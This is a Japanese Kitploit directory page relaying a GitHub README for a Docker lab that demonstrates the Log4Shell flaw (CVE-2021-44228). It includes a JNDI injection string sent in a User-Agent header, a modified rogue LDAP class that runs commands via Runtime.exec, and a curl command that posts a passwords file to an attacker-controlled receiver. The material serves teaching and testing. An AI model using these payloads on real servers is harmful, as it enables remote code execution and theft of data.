Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-44228-docker-example | Kitploit
ツール/GitHubGitHub/dicanio/cve-2021-44228-docker-example
脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出学習と教育ラボと実践
GitHubdicanio/cve-2021-44228-docker-example

CVE-2021-44228-docker-example

リポジトリを見る
14年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-44228-docker-example

CVE-2021-44228 を利用して、脆弱なサーバーから攻撃者が制御する Web サービスへデータを転送するための簡単なデモです。 関連するすべてのコンポーネントは Docker 経由で実行されます。

コンポーネント

vulnerable-server

これは被害者として動作する標準的な Java サーバーです。実行環境:

  • Java 8u111
  • Web アプリケーション (Spring Boot 2.6.1)
  • Log4J

この構成では、このサーバーは VULNERABLE です。

補足情報:

  • /logging エンドポイント (GET) は Log4J を使用してユーザーエージェントをログに記録します
  • /foo/passwords.txt が存在します (攻撃者のターゲット)

passwords.txt の内容:

root@kitploit:~
my secret

malicious-receiver

これは攻撃者のデータコレクターとして動作する標準的な Java サーバーです。実行環境:

  • Java 17
  • Web アプリケーション (Spring Boot 2.6.1)

補足情報:

  • receiver エンドポイント (POST) はリクエストボディをログに記録します

malicious-ldap

これは rogue-jndi を利用した LDAP サーバーです。 -c フラグで渡されたコマンドが実行されるように、ExportJava クラスが変更されています。

root@kitploit:~
public ExportObject() {
    try {
        Runtime.getRuntime().exec(Config.command);
    } catch(Exception e) {
        e.printStackTrace();
    }
}

脆弱なサーバーからリクエストを受けると、インスタンス化されたときに次のコマンドを実行するクラスで応答します:

root@kitploit:~
curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt

これにより、/foo/passwords.txt の内容が、悪意のあるレシーバーの準備済みエンドポイントに投稿されます。

使用方法

  1. 次のコマンドを実行して Docker イメージをセットアップします:
    root@kitploit:~
    ./build.sh
    
  2. 次のコマンドを実行してコンポーネントコンテナを起動します:
    root@kitploit:~
    ./start.sh
    
  3. 次のコマンドを実行して脆弱性をトリガーします:
    root@kitploit:~
    curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
    
  4. 次のコマンドを実行して、悪意のあるレシーバーコンポーネントのログ出力を確認します:
    root@kitploit:~
    docker logs --timestamps docker_malicious-receiver_1
    
    サーバーの passwords.txt ファイルの内容が表示されるはずです。
  5. 次のコマンドを実行してコンポーネントコンテナを停止します:
    root@kitploit:~
    ./stop.sh
    
ツールをダウンロード